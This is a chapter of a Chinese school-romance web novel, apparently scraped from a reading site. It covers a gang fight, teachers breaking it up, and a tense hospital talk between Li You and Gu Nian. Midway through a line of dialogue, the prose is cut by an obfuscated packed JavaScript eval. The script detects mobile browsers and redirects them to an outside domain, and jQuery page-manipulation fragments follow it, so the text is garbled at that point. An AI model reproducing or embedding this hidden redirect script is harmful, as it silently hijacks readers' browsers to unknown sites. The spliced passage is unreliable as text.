51. 沈伶吴勇

作品:《我这个天命之人

    吴勇眼睛瞪得通红,死死瞪着沈伶二人。


    姚玉扯出一抹讥诮的笑意,姿态慵懒地揽着沈伶走到一旁看戏。


    双方势力很快缠斗起来,一片拳脚横飞,声声闷响,姚玉揽着沈伶站在一边,时不时拍手叫好。


    离忧躲在假山后面,将局势看得一清二楚。吴勇带来的人虽然大多孔武有力,但只有一身蛮力,出手杂乱无章,也不会躲避对方的攻击,生生拿肉抗拳脚。


    沈伶这边的人就不一样了,脚下生风,姿势敏捷,拳拳到肉,一看就是练家子。


    两相对峙下来,吴勇这边很快落下下风。


    双方打斗进入白热化阶段,人影交叠之中,吴勇手中寒光一闪,探身走向沈伶。


    离忧面色一惊,一只手抓住顾念的衣角,一只手指向吴勇:


    “不好!他要使阴招。”


    顾念这才注意到吴勇的动向,他已经走到沈伶和姚玉身边,左手拿着一柄短刀垂在身后,小臂呈稍稍弯曲的模样,显然是在蓄力。


    最骇人的是,沈伶和姚玉醉心看戏,竟完全没有察觉!


    “姚玉!小心!”顾念大喊。


    姚玉如梦初醒,转头四处张望寻找顾念的身影,迎面寒光一闪。


    说时迟那时快,眼见短刀已经朝她扎去,离忧从轮椅上果断站起身来,在假山后探出半截身子将手中结出的火球飞速掷向吴勇的手臂。


    这边的吴勇头脑一片空白,只觉手臂一阵滚烫,灼热的痛觉激他猛地回到现实,看到的场景便是一柄短刀掉下地上,姚玉眼神犀利地瞪着他。


    他这是……被愤怒冲昏了头脑,连自己在干什么都不知道了。


    回过神来后,他一阵后怕,摆着手连连嘀咕:“我不是……我没有要杀人……”


    顾念闪身上前,一脚将吴勇踹翻在地。


    离忧也摇着轮椅从假山后现身出来,缓缓来到顾念身边。


    沈伶看到离忧的瞬间有些惊讶,将她从头到脚都打量了一番,问道:“离忧,你怎么伤成这样,你好些了么?”


    离忧道:“我没事,已经好对了。”


    姚玉一双美目在离忧身上流转,再看向顾念时,眼波深处带着些难以言说的深意。


    沈伶问离忧:“你不好好养病,来这里干嘛?”


    离忧如实答道:“顾念带我来看热闹。”


    姚玉看向顾念,怒道:“你不来帮忙,还躲在后面看戏?”


    顾念:“这不是帮你了么?”


    姚玉嫌弃道:“你的帮忙就是嘴上喊两句?顾大公子什么时候这么没用了?”


    顾念翻了个白眼:“嫌我没用还要我帮你?”


    “……”


    这两人语气熟稔地互损,引得离忧忍不住频频侧目:他们……关系很好么?


    姚玉察觉到离忧的目光在自己和顾念身上流转,她朝顾念道:“不给我介绍一下你女朋友?”


    顾念急忙否认:“还没追到手呢。”


    离忧不太自然地咳了两声,尴尬地眼神都不知道往哪儿瞥。


    一旁的沈伶稍感吃惊,八卦的眼神在离忧和顾念之间来回游走。


    姚玉看着顾念,笑得揶揄:“顾大公子在情场上从未失意,这世界上还会有你追不到的女生?”


    顾念轻斥她:“别瞎说。”


    姚玉似乎乐于见顾念吃瘪,一时笑得更欢了。


    “住手!站那别动!”


    远处有人群往这边跑来,为首的男人大声斥道。


    正在打斗的混混纷纷住手,顾念等人也一同看向来人。


    那群人逐渐跑近,沈伶率先认出为首的男人,“不好,是邹主任!”


    邹主任,是高中部教导主任。跟在他后面的,有德育处主任,心理老师张姣,还有几个副主任,还有……周辰。


    沈伶有些懊恼道:“谁走漏的风声。”


    打群架被抓个现行,这可不是闹着玩的。


    一旁的吴勇朝她翻了个白眼,斥道:“怎么?敢做不敢当?打完架就想跑?”


    沈伶瞪他:“你!”


    其实他们现在跑也来不及了,邹主任一行人已经跑近了。


    离忧倍感头疼——她本该在医院养病,结果却在这里看戏,这该怎么和周辰解释……


    邹主任挺着中年男人标志的啤酒肚,难为他两条短腿来回扑腾才跑到众人面前。


    “都住手!别打了!都别打了!”


    早就住手的众人纷纷看着邹主任来回摆动一双短手制止着不存在的斗争,场面稍显滑稽。


    “你!三班的沈伶!还有你!三班的吴勇!还有你也是!三班的离忧!还有你!三班的……”邹主任走到顾念面前,唾沫横飞的嘴唇闭合了一瞬,而后接着道:“三班已经退学了的顾念!”


    将他们挨个点名了一番,而后厉声道:“你们!纠结社会人员寻衅滋事,你们知道这样会带来什么后果吗?!你们来学校是来读书的,不是来打架的!”


    “邹主任,”顾念抵着后牙蹚,神色散漫道:“这不是在学校吧。”


    “顾念!”邹主任疾言厉色,“你现在是社会人员,你知不知道出了学校,能整治你的,只有警察!”


    姚玉不耐烦道:“要报警就赶快的,墨迹啥呢。”


    “你!”邹主任咬牙切齿:“行!”


    说完,他掏出手机走到一边。


    周辰走到离忧面前,冰冷的眼神不带任何感情地从顾念脸上游走到他推着的轮椅上,而后对上离忧的眼睛,冷声问道:


    “你就是这样养伤的?”


    离忧心里发虚,一时不敢应声。


    顾念直面他暗含拷问的眼神,姿态凌然:“周老师,养伤也需要透气吧。”


    周辰下颌微收,薄唇紧抿,狭长的眼眸微微眯起,周身威压森然,隐隐有些不耐烦。


    顾念撑着轮椅的扶手,神色散漫,一如既往地玩世不恭,两人视线相接,他一双凤眸漫不经心,姿态上丝毫不愿退让。


    角落里沈伶不经意地来回打量两人——她怎么觉得,这会儿空气里的火药味更重了。


    周辰冰冷的眼神从顾念身上移开,再看向离忧时,神色稳重如常。


    “我送你回去。”


    “不必了。”顾念抓在轮椅上的手紧了几分,“我送她。”


    周辰目光一凌,沉声道:“由不得你。”


    这时,邹主任挂了电话走了过来。


    他指着姚玉和顾念,道:“你们都给我等着,警察马上就到了。”


    转头,他又指着沈伶吴勇和离忧,没好气道:“你们都给我回学校!把你们家长喊来!”


    顾念斜睨着邹主任,正在思考要不要再怼几句的时候,离忧忽然开口了。


    “顾念,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801806|171907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    松手吧。”


    她的声音很轻,但顾念还是听到了。


    凭空生出一股没由来的心慌,他低头问:“你说什么?”


    离忧又重复了一遍:“我说你送开吧,我有点累了,想回去休息了。”


    顾念没有松手,他道:“我可以送你回去。”


    “不用了。”离忧有些急促地打断他,道:“你先处理好你自己的事。”


    听到这话,姚玉上前一步,忿忿不平道:“什么叫他自己的事,如果不是为了你,他怎么会搅和进来?”


    离忧无力地闭了闭眼。


    为了她,为了她,什么都是为了她,却从来没有问过她,需不需要要他为了她做这些。


    “算了。”顾念道。


    说完,他便松开了手。


    他一松手,张姣便上前接过轮椅。


    “离忧同学,看这种热闹可不利于养伤哦,下次不要看这种热闹了哦。”


    离忧应了一声:“嗯。”


    张姣推着离忧走出人群,缓缓走向公园出口。


    “你们周老师估计有的忙了,我送你回去吧。”


    “好的,谢谢老师。”


    她们二人逐渐走远了,人群的熙攘声在身后被淡化。


    走到拐角时,离忧没忍住回头看了一眼。


    顾念站在原地,目光深深地看着离忧离开的方向,她蓦然回头,和他的视线相撞。


    走过拐角,顾念的两人的视线也被断开。


    遥遥对视的那一眼,离忧的心脏似乎被轻轻啃食了一块,留下一块酥痒的寂然。


    张姣把她送回医院休息,但没过多久,顾念也回来了。


    他倚在门框,神色倦懒,眼神落在离忧身上,说不上是好还是坏。


    顾念问:“你就不担心我?”


    离忧坐在床边,头都没抬,“没什么好担心的。”


    他充其量也只是个看戏了,火怎么烧也烧不到他身上。


    没得到自己想要的答案,顾念轻笑一声,似乎是在自嘲:“行。”


    “离忧。”顾念一双眼睛直勾勾地盯着她:“我们需要聊聊。”


    离忧一脸茫然地抬头,“聊什么?”


    他的眸光幽深了几分,“聊聊你的小脾气。”


    “……”


    离忧久久没有回话,他又问:


    “我是做了什么让你不开心的事吗?”


    离忧问:“为什么这么说?”


    顾念说:“感觉到你不开心。”


    离忧不懂,她开不开心有这么重要吗?


    “我要是做了什么让你不开心的事,可以直说。”


    离忧眼神定了定,抬眸看他,问:“确定吗?”


    顾念道:“确定。”


    “好。”离忧道:“那我直说了,当初在教室,你为什么要污蔑我。”


    顾念脑中一阵嗡鸣,思维停滞了一瞬。他张了张嘴,声音暗哑:“这……”


    “你是想说,这件事早就过去了?”离忧眼神坚定,语气甚笃。


    她平时很少展露这幅气势压人的模样,因为她知道,当她的实力不足以支撑她的脾气时,她所展露的任何脾气都会变成笑话。


    当人足够弱小的时候,愤怒都显得有些可爱。


    但现在,她似乎在顾念这里找到了底气——她确定,顾念会正视她的小情绪。